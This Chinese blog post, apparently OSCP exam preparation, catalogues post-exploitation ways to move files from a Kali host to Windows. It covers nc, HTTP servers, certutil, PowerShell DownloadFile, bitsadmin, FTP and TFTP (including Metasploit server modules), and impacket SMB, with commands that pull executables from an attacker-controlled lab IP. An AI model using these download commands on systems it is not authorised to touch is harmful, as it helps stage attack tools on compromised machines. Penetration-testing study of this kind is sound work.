將檔案從Linux傳輸到Windows(後期利用)

青蛙愛輪滑發表於2019-03-30

準備考 OSCP,發現有意思的資料傳輸方式,特此練習一遍
參考連結:https://blog.ropnop.com/transferring-files-from-kali-to-windows/

將檔案從Linux傳輸到Windows(後期利用)


2019年3月30日17:29:09 【原創】

1. 簡介

  1. 簡介
    無論那種情況,我們有時候會需要從 linux 系統傳輸資料到 windows 系統,尤其是檔案。但是往往 nc 沒有同時存在於雙方系統上,此時就需要其他的簡便方法來操作。

  2. nc 檔案傳輸
    nc 使用:傳送門 – Kali Linux滲透測試 003 基本工具–NC

     • 傳輸檔案( B->A )
     A:root@kali:~# nc -lp 4444 > 2.mp4
     B:root@metasploitable:~# nc -nv 192.168.1.100 4444 < AWVS\ 01.avi -q 1
     或(A->B)
     A:root@kali:~# nc -q 1 -lp 4444 < 2.mp4 
     B:root@metasploitable:~# nc -nv 192.168.1.100 4444 > 3.mp4
     
     • 傳輸目錄
     A:root@kali:~# tar zcvf - testdir/ | nc -lp 4444 -q 1
     B:root@metasploitable:~# nc 192.168.1.100 4444 | tar zxvf -
    

2. HTTP

  1. 啟動 apache 伺服器

     root@kali:~# /etc/init.d/apache2 start
     [ ok ] Starting apache2 (via systemctl): apache2.service.
     root@kali:~# netstat -tulnp | grep 80
     tcp6       0      0 :::80                   :::*                    LISTEN      1248/apache2        
    

    可以看到開啟 80 埠 ,如果使用 apache 環境,需要經檔案複製進 /var/www/html/ 目錄

     root@kali:~# cp team.exe /var/www/html/
    

    或者 使用 python 自帶的模組搭建簡單的 HTTP 環境
    如果不需要再使用,可以先停止 apache 服務

     root@kali:~# /etc/init.d/apache2 stop
     
     root@kali:~# python -m SimpleHTTPServer
     Serving HTTP on 0.0.0.0 port 8000 ...
    

    此時 HTTP 監聽的根目錄是執行此命令當前所在的目錄(我的環境是 root 家目錄)

  2. 進行檔案下載

    1. 使用瀏覽器進行下載

       瀏覽器訪問 http://10.10.10.166/team.exe
      
    2. windows 環境可以使用 certutil.exe 工具

       PS C:\Users\John> certutil.exe -urlcache -split -f "http://10.10.10.166/team.exe" team.exe
      
    3. windows 環境可以使用 powershell 環境

       PS C:\Users\John> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.166:8000/team.exe','team.exe')"
      
    4. 另外還有 bitsadmin 工具

       PS C:\Users\John> bitsadmin /transfer n http://10.10.10.166:8000/team.exe  D:\PSTools.zip
      

      參考資料:

      https://www.cnblogs.com/gayhub/p/6517655.html

      https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

    5. linux 環境

       root@ubuntu:~# curl http://10.10.10.166:8000/team.exe   > team.exe  
       root@ubuntu:~# wget http://10.10.10.166:8000/ssh_login.txt
      

3. FTP

  1. 啟動

    1. 使用 python 模組

       # 使用前需要先安裝 python 模組
       root@kali:~#  apt-get install python-pyftpdlib
       root@kali:~#  python -m pyftpdlib -p 21
      

      如果要授予匿名使用者寫入許可權,請同時新增該-w標誌。

    2. 使用 MSF

       	Module options (auxiliary/server/ftp):
       
          Name      Current Setting  Required  Description
          ----      ---------------  --------  -----------
          FTPPASS                    no        Configure a specific password that should be allowed access
          FTPROOT   /tmp/ftproot     yes       The FTP root directory to serve files from
          FTPUSER                    no        Configure a specific username that should be allowed access
          PASVPORT  0                no        The local PASV data port to listen on (0 is random)
          SRVHOST   0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
          SRVPORT   21               yes       The local port to listen on.
          SSL       false            no        Negotiate SSL for incoming connections
          SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
       
       
       Auxiliary action:
       
          Name     Description
          ----     -----------
          Service  
       
       
       msf5 auxiliary(server/ftp) > set FTPROOT /root
       msf5 auxiliary(server/ftp) > run -j
       [*] Auxiliary module running as background job 0.
       
       [*] Started service listener on 0.0.0.0:21 
       [*] Server started.
      

    進行在後臺執行,結束可以使用 jobs -k <id>

  2. 下載,使用 anonymous 賬戶登入

     PS C:\Users\John> ftp 10.10.10.166
     連線到 10.10.10.166。
     220 FTP Server Ready
     500 'OPTS UTF8 ON': command not understood.
     使用者(10.10.10.166:(none)): anonymous
     331 User name okay, need password...
     密碼:
     230 Login OK
     ftp> dir
     200 PORT command successful.
     425 Can't build data connection
     ftp> ls
     200 PORT command successful.
     500 'NLST ': command not understood.
     ftp> binary
     200 Type is set
     ftp> dir
     200 PORT command successful.
     150 Opening ASCII mode data connection for /bin/ls
     total 1888
     drwxr-xr-x   2 0      0       512 Jan  1  2000 lmg
     drwxr-xr-x   2 0      0       512 Jan  1  2000 Downloads
     -rwxr-xr-x   2 0      0       512 Jan  1  2000 team.exe
     -rw-r--r--   1 0      0       1515 Jan  1  2000 .viminfo
     226 Transfer complete.
     ftp: 收到 1903 位元組,用時 0.14秒 13.59千位元組/秒。
     ftp> get team.exe
     200 PORT command successful.
     150 Opening BINARY mode data connection for team.exe
     226 Transfer complete.
     ftp: 收到 4803401 位元組,用時 0.05秒 102200.02千位元組/秒。
     ftp>
    

    也可以瀏覽器 直接訪問 ftp:// 10.10.10.166
    另外,如果是命令列環境,可以一步直接下載

     # 建立檔案:ftp_commands.txt
     open 10.10.10.166
     anonymous  
     whatever  
     binary  
     get team.exe  
     bye  
    
     # 執行命令
     PS C:\Users\John> ftp -s:ftp_commands.txt
    

4. TFTP

  1. 啟動

    1. 預設安裝在Windows XP中

    2. MSF

       	Module options (auxiliary/server/tftp):
       
          Name        Current Setting  Required  Description
          ----        ---------------  --------  -----------
          OUTPUTPATH  /tmp             yes       The directory in which uploaded files will be written.
          SRVHOST     0.0.0.0          yes       The local host to listen on.
          SRVPORT     69               yes       The local port to listen on.
          TFTPROOT    /tmp             yes       The TFTP root directory to serve files from
       
       
       Auxiliary action:
       
          Name     Description
          ----     -----------
          Service  
       
       
       msf5 auxiliary(server/tftp) > set TFTPROOT /root
       TFTPROOT => /root
       msf5 auxiliary(server/tftp) > run -j
       [*] Auxiliary module running as background job 1.
       
       [*] Starting TFTP server on 0.0.0.0:69...
       [*] Files will be served from /root
       [*] Uploaded files will be saved in /tmp
      
  2. 下載

    1. windows 10 環境預設帶有 tftp 客戶端,如果不帶,就可以使用 pkgmgr /iu:“TFTP” 命令

       PS C:\Users\John> tftp -i 10.10.10.166 GET team.exe
      

5. SMB

  1. 在linux啟動 samba服務

     root@kali:~# git clone  https://github.com/CoreSecurity/impacket
     root@kali:~# cd impacket/
     root@kali:~/impacket# python3 setup.py install
     root@kali:~/impacket# cd examples/
     root@kali:~/impacket/examples# python smbserver.py ROPNOP /root
     Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
     [*] Config file parsed
     [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
     [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
     [*] Config file parsed
     [*] Config file parsed
     [*] Config file parsed
    

    在一行中,我們已經啟動並執行了SMB共享。您可以smbclient從Linux 確認一下是否已經開啟:

     root@kali:~# smbclient -L 10.10.10.166 --no-pass
     
     	Sharename       Type      Comment
     	---------       ----      -------
     	ROPNOP          Disk      
     	IPC$            Disk      
     Reconnecting with SMB1 for workgroup listing.
     Connection to 10.10.10.166 failed (Error NT_STATUS_CONNECTION_REFUSED)
     Failed to connect with SMB1 -- no workgroup available
    

    或者在 windows 使用 net view 看一下

     PS C:\Users\John> net view \\10.10.10.166
    

相關文章